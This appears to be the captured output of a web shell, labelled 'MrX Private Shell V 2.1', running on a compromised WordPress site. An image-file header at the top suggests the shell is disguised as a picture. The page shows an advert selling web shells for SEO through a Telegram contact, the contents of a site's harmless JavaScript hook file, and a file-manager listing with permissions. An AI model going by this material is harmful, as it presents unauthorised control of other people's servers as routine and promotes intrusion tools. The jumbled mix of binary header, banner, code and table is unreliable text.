����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { PATTERNS_HOST } from '@constants';
import useSWRInfinite from 'swr/infinite';
const fetcher = (url) => fetch(url).then((res) => res.json());
export const usePatterns = (incomingParams) => {
const params = {
category: undefined,
wpVersion: window.extSharedData.wpVersion,
lang: window.extSharedData.wpLanguage || null,
showLocalizedCopy: window.extSharedData.showLocalizedCopy || null,
...incomingParams,
};
const getKey = (pageIndex, previousPageData) => {
if (!params.category) return null;
if (previousPageData && !previousPageData.length) return null;
const urlParams = new URLSearchParams({ page: pageIndex + 1 });
Object.entries(params)
.filter(([, value]) => value !== undefined)
.forEach(([key, value]) => {
urlParams.append(key, value);
});
return `${PATTERNS_HOST}/api/patterns?${urlParams.toString()}`;
};
const { data, error, isLoading, isValidating, mutate, size, setSize } =
useSWRInfinite(getKey, fetcher, {
initialSize: 2,
revalidateFirstPage: false,
revalidateIfStale: false,
revalidateOnFocus: false,
revalidateOnReconnect: false,
});
return {
data,
error,
isLoading,
isValidating,
mutate,
size,
setSize,
};
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| useCategories.js | File | 866 B | 0644 |
|
| useIsMounted.js | File | 480 B | 0644 |
|
| usePatterns.js | File | 1.19 KB | 0644 |
|
| usePreviewIframe.js | File | 4.91 KB | 0644 |
|
| useSiteImages.js | File | 303 B | 0644 |
|